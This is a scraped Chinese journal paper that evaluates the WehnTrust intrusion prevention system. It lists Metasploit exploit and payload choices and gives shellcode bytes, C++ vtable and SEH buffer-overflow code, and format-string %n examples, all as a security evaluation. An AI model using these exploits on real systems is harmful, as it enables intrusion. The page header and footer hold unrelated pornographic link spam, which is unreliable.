999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

對WehnTrust入侵防御功能的測試與分析

2011-07-25 06:48:48任高明喬向東白軍亮
計算機工程與設計 2011年9期
關鍵詞:界面實驗

任高明, 喬向東, 楊 仝, 白軍亮

(空軍工程大學電訊工程學院,陜西西安710077)

0 引 言

WehnTrust是一款由微軟安全工程師研發的基于主機的入侵防御系統[1-4],其研發者聲稱WehnTrust主要具有3種特性:地址空間隨機化[5-6]、防止SEH(即結構化異常處理)覆寫攻擊[7],防止格式化字符串[8-9]攻擊,但WehnTrust的防御性能到底如何,卻鮮有人給出書面性的測試報告。本文為了驗證其防御能力,針對性地設計并模擬實現了3個實驗,對此入侵防御系統的性能進行了測試。

1 WehnTrust源碼分析

圖1 WehnTrust主界面

在WehnTrust的主頁下載安裝包及源代碼,運行后界面如圖1所示。WehnTrust采用visual studio 2008開發環境,包含7個項目:Common,de_DE,en_us,es_ES,NRER,WehnServ,WehnTrust。其中Common為靜態庫,de_DE,en_us,es_ES,NRER為動態鏈接庫,而WehnServ,WehnTrust為應用程序。其中,NRER動態鏈接庫的核心代碼在3個源文件中:NRER.c,SEH.c,format.c。NRER.c負責完成地址空間隨機化;SEH.c實現防止結構化異常處理攻擊;format.c負責實現防止格式化串攻擊。

2 WehnTrust存在的問題

可以看出,WehnTrust阻止攻擊的主要功能是在NRER.dll實現的。但是,經過大量反復的調試、測試和源碼分析,發現該動態鏈接庫從未被調用,但是動態鏈接庫已經生成。嘗試使用動態加載和隱式調用兩種方法,都以失敗告終。所以,我們認為動態鏈接庫NRER.dll本身的編寫就有問題。這樣,就有充足的理由懷疑其防御攻擊的能力。為此,模擬了C++虛函數攻擊、SEH攻擊、格式化字符串攻擊,對其進行測試。

3 攻擊測試

為了驗證WehnTrust是否對緩沖區溢出具有預期的防御和檢測效果,搭建實驗環境,完成了4類緩沖區溢出實驗。

3.1 使用Metasploit Framework進行攻擊測試

MetasploitFramework是一個開源攻擊平臺。我們嘗試了幾種攻擊,下面是攻擊過程說明,由于篇幅所限,只給出實驗1的攻擊成功界面截圖。

(1)實驗1:選取漏洞exploit為:windows/smb/ms08_067_netapi,選取有效載荷payload為windows/shell/bind_tcp;目標主機選擇使用Windows XP SP1中文版。

攻擊時,目標主機地址設置為200.200.200.66,目標端口設置為445,強制打開的端口設置為4444。

攻擊成功界面如圖2所示,已經進入了目標主機的命令提示符窗口,此時可以在目標主機上進行任意操作,說明攻擊成功。安裝WehnTrust后攻擊還可以成功。

圖2 攻擊成功界面

(2)實驗 2:選取漏洞 exploit為:windows/smb/psexec;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows 2000中文版。安裝WehnTrust后仍可以攻擊成功。

(3)實驗3:選取漏洞exploit為:windows/browser/ani_loadimage_chunksize;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows XP SP1中文版。安裝WehnTrust后仍可以攻擊成功。

(4)實驗4:選取漏洞exploit為:windows/browser/aim_goaway;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows XP SP1中文版。安裝WehnTrust后仍可以攻擊成功。

(5)實驗5:選取漏洞exploit為:windows/browser/aol_ampx_convertfile;選取有效載荷payload為:windows/shell/bind_tcp;目標主機使用Windows XP SP1中文版。安裝WehnTrust后仍可以攻擊成功。

上述5種成功的攻擊實驗,WehnTrust都不能阻止攻擊行為,甚至根本無法發現。這樣就驗證了對其防御能力的懷疑。為了進一步確定我們的結論,模擬實現了 C++虛函數攻擊、SEH覆寫攻擊、格式化字符串攻擊,進行針對性測試。

3.2 攻擊C++虛函數

首先編寫一個通用的shellcode[10-11],下文中都將用到這個shellcode,它的功能是彈出一個對話框,顯示字符串“success!”。

char shellcode[]=

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x65x73x73x21x68x73x75x63x63x8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90";

關于C++虛函數存在的漏洞,請參考相關文獻,這里不再贅述。當內存中有多個虛表對象時,如果上一對象中的成員變量[12-13]發生溢出,能夠有機會去修改下一對象的虛表指針,就可以通過人為修改,使程序在調用下一個對象的虛函數時,轉而去執行設計好的shellcode。設計的源碼的核心代碼如下:

int*addr=(int*)(overflow.buf-4);

int*my_addr=(int*)(my_overflow.my_buf-4);

int addr_shellcode=(int)&shellcode;

int addr_proc=(int)&addr_shellcode;

*my_addr=addr_proc;

strcpy(overflow.buf,bufoverflow);

Cmy_test*p=&my_overflow;

p->my_test();

程序中通過addr=overflow.buf-4定位到虛表指針1;上一對象的成員變量向下溢出,使其精確地覆蓋掉第2個對象的虛表指針,將其修改為定制的虛表地址;當程序調用第2個對象的虛函數時,會找到偽造的虛表地址,進而找到定制的shellcode,并執行它。本過程如圖3所示。

實驗環境為:WindowsXPSP2,VisualC++6.0Debug版本。按照上述的環境運行,可以得出的結果如圖4所示。

安裝WehnTrust后,WehnTrust修改了注冊表,并生成了系統目錄下的驅動文件baserand.sys,此時,不能阻止實驗成功。重啟計算機后,實驗不能成功。刪除baserand.sys,再次重啟計算機后,實驗可以正常進行,WehnTrust并不能阻止,由此可以說明,正是baserand.sys阻止了實驗的正常進行。

3.3 SEH攻擊測試

關于SEH攻擊[14]的詳細原理,請參考相關文獻。本次實驗使用的shellcode1中的“…shellcode…”部分為上文用到的shellcode內容。測試代碼如下:

圖3 攻擊C++虛函數過程

圖4 C++虛函數攻擊成功界面

char shellcode1[]=

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"… shellcode…"

"x90x90x90x90"

"x98xFEx12x00";//shellcode1的地址

void test(shellcode1)

{char buf[200];

int zero=0;

__try

{strcpy(buf,shellcode1);

zero=4/zero; }

__except(MyExceptionhandler()){} }

對代碼說明如下:

(1)函數test()中使用了函數strcpy()創造一個典型的棧溢出漏洞;除零操作zero=4/zero會產生一個異常。

(2)由于函數中使用了_try{}_except{},編譯器將會在test的函數棧幀中安裝一個SEH結構來實現異常處理。

(3)當strcpy操作沒有產生溢出時,除零操作的異常將最終被MyExceptionhandler函數處理。

(4)當strcpy操作產生溢出,并精確地將棧幀中的SEH異常處理句柄修改為shellcode的入口地址時,操作系統將會錯誤地使用shellcode去處理除零異常。

本實驗的關鍵在于確定棧幀中SEH回調句柄的偏移,然后布置緩沖區,精確地淹沒這個位置,將該句柄修改為shellcode的起始位置。使用環境為:Windows2000,VisualC++6.0Release版本。SEH攻擊過程如圖5所示,攻擊成功界面如圖6所示。

圖5 SEH攻擊過程

圖6 SEH攻擊成功界面

安裝WehnTrust后的實驗結果與攻擊C++虛函數的實驗結果相同,也就是說,baserand.sys驅動文件阻止了攻擊行為。

3.4 利用格式化字符串攻擊測試

格式化字符串漏洞[15]的有關內容請參考相關文獻。在本次實驗中,采用最常用的printf()函數。源代碼如下:

int p=111,q=222;

printf("p=%d,q=%b",p,q);

printf(" p=%d,q=%d,t=%d ");

int m=0;

printf("寫入之前:m=%d ",m);

printf("success:%d%n ",m,&m);

printf("寫入之后:m=%d ",m);

上面代碼中,第1個printf()函數的調用是正確的,而第2個printf()函數則缺少了輸出數據的變量列表。

本次實驗環境為:WindowsXPSP2,Release版本。編譯運行后,實驗結果如圖7所示。

圖7 格式化串實驗截圖

第2個printf()函數編譯器并沒有報錯,程序可以正常運行,但結果為“p=4223088,q=111,t=222”。使用OllyDbg調試后得到,第1次調用printf()時,參數按照從右向左的順序入棧。第2次調用發生時,由于參數中少了數據列表部分,故只壓入格式控制符參數。這時棧中狀態如圖8所示。

圖8 printf調用時的內存格局

由于printf()函數調用時,沒有給出“輸出數據列表”,但系統仍按照“格式控制符”所指明的方式輸出棧中緊隨其后的兩個DWORD。故4223088的十六進制形式為0x00407070,是指向格式控制符“p=%d,q=%d,t=%d ”的指針;111是殘留下來的變量p的值,而222是殘留下來的q的值。

第4個printf()函數中使用了控制符“%n”,此控制符用于把當前輸出的所有數據的長度寫入一個變量中去。這條語句會將調用最終輸出的字符串長度寫入變量m中,“success:0”長度為9,所以這次調用后m將被修改為9。安裝上WehnTrust之后,程序依然可以運行,并且結果正常。此實驗表明WehnTrust并不能阻止格式化串攻擊。格式化串漏洞原理如圖9所示。

圖9 格式化串漏洞原理

4 結束語

通過對WehnTrust源碼的分析及調試,使用緩沖區溢出工具 Metasploit Framework進行了 5種攻擊實驗,并針對WehnTrust所具有的特性,設計了3種針對性的攻擊實驗,可以得出如下結論:8次攻擊實驗,只有兩次攻擊被baserand.sys阻止,但WehnTrust沒有檢測到攻擊行為;刪除baserand.sys后,WehnTrust沒有任何防御攻擊的能力。因此,可以看出,WehnTrust并不完全具備其研發者所聲稱的防御特性,只能的阻止部分攻擊。盡管如此,但該開源項目所提出的思想及設想很有價值,對其進行研究并在此基礎上開發、擴展,將是下一步的工作重點。

[1]wehnus.WehnTrust[OL].http://www.wehnus.com/products.pl,2006.

[2]吳海燕,蔣東興,程志銳,等.入侵防御系統研究[J].計算機工程與設計,2007,28(24):5844-5866.

[3]李小平,王意潔,王勇軍.入侵防御系統的研究與設計[J].微計算機信息,2006,22(11-3):88-90.

[4]Wang Jie,Zheng Xiao,Liu Ya-bin.Complete rule base of intrusion prevention system[J].Computer Engineering and Application,2009,45(9):88-91.

[5]ShachamH.Ontheeffectivenessofaddress-spacerandomization[C].Washington,DC:Proceedings of the 11th ACM Conference on Computer and Communications Security,2004:53-61.

[6]LiLixin,JamesE just.Address-spacerandomization for windows systems[C].Virginia:Defense Advanced Research Project Agency,2007:72-79.

[7]Nagy B.SEH(structured exception handling)security changes in XP SP2 and SP1[C].Phoenix:eEye Digital Security,2006:60-66.

[8]James E S,Ravi N.Virtual machines versatile platforms for systems and process[M].San Francisco:Morgan Kaufmann,2006:12-49.

[9]Wei Li,Tzi-cker Chiueh.Automated format string attack prevention for Win32/X86 binaries[C].Miami:23rd Annual Computer Security Applications Conference,2007:398-407.

[10]王清.0day安全:軟件漏洞分析技術[M].北京:電子工業出版社,2008:72-79.

[11]Meyers S.More effective C++[M].北京:電子工業出版社,2006:77-94.

[12]Roos T,Wetting H,Grunwald P.On discriminative bayesian network classifiers and logistic regression[J].Machine Learning,2005,59(3):267-296.

[13]CWE,Vulnerability type distributions in CVE[OL].http://cwemitre.org/documents/vulntrends/index.htm#introduction,2007.

[14]Pietrek,Matt.A crash course on the depths of Win32 structured exception handling[OL].http://www.microsoft.com/msj/0197/exception/excep-tion.aspx,2006.

[15]Chen S,Tang Y,Stateful D.Dos attacks and targeted filtering[J].Journal of Networking and Computer Applications,2007,30(3):20-26.

猜你喜歡
界面實驗
記一次有趣的實驗
微型實驗里看“燃燒”
國企黨委前置研究的“四個界面”
當代陜西(2020年13期)2020-08-24 08:22:02
做個怪怪長實驗
基于FANUC PICTURE的虛擬軸坐標顯示界面開發方法研究
空間界面
金秋(2017年4期)2017-06-07 08:22:16
電子顯微打開材料界面世界之門
人機交互界面發展趨勢研究
NO與NO2相互轉化實驗的改進
實踐十號上的19項實驗
太空探索(2016年5期)2016-07-12 15:17:55
主站蜘蛛池模板: 看国产毛片| 91成人在线免费视频| 老司机精品一区在线视频 | 精品亚洲麻豆1区2区3区| 国产成年无码AⅤ片在线| 美女裸体18禁网站| 在线色综合| 看你懂的巨臀中文字幕一区二区| 中文字幕乱码中文乱码51精品| 午夜视频在线观看免费网站| 亚洲第一区精品日韩在线播放| 免费人欧美成又黄又爽的视频| 九九热免费在线视频| 亚洲国产中文欧美在线人成大黄瓜| 无码人妻热线精品视频| 欧美一区二区精品久久久| 999精品视频在线| 无遮挡国产高潮视频免费观看| 中文字幕啪啪| 国产日本欧美亚洲精品视| 国产成+人+综合+亚洲欧美| 伦精品一区二区三区视频| 国产综合亚洲欧洲区精品无码| 欧美人与性动交a欧美精品| 毛片久久网站小视频| 国产白浆在线观看| 亚洲另类第一页| 国产精品网拍在线| 亚洲精品无码抽插日韩| 全部免费毛片免费播放 | 欧美亚洲国产精品第一页| 福利小视频在线播放| 久久精品91麻豆| 中文字幕首页系列人妻| 午夜福利免费视频| 99久久精品国产综合婷婷| 欧美激情综合一区二区| 国产人在线成免费视频| 国产一区免费在线观看| 爽爽影院十八禁在线观看| 色婷婷狠狠干| 久久无码av三级| 手机在线免费不卡一区二| 四虎国产永久在线观看| 色婷婷综合激情视频免费看| 精品少妇人妻无码久久| 中文字幕va| 国产精品刺激对白在线| 成人无码一区二区三区视频在线观看| 精品国产亚洲人成在线| 青青青国产视频| 91蜜芽尤物福利在线观看| 国产在线专区| 久久精品亚洲专区| 国产欧美日韩91| 一级毛片在线播放免费观看| 午夜爽爽视频| 国产菊爆视频在线观看| 成人免费午夜视频| 性做久久久久久久免费看| 色综合天天操| 国产中文在线亚洲精品官网| 亚洲码一区二区三区| 亚洲狠狠婷婷综合久久久久| 婷婷色在线视频| 久久免费成人| 国产欧美日本在线观看| 无码有码中文字幕| 精品少妇人妻一区二区| 亚洲中文精品久久久久久不卡| 亚国产欧美在线人成| 欧美激情视频一区二区三区免费| 日韩AV手机在线观看蜜芽| 热热久久狠狠偷偷色男同| 亚洲欧美日韩成人高清在线一区| 国内毛片视频| 国产日韩欧美黄色片免费观看| 欧美综合激情| 最新国语自产精品视频在| 一级香蕉人体视频| 综合人妻久久一区二区精品 | 在线看片免费人成视久网下载|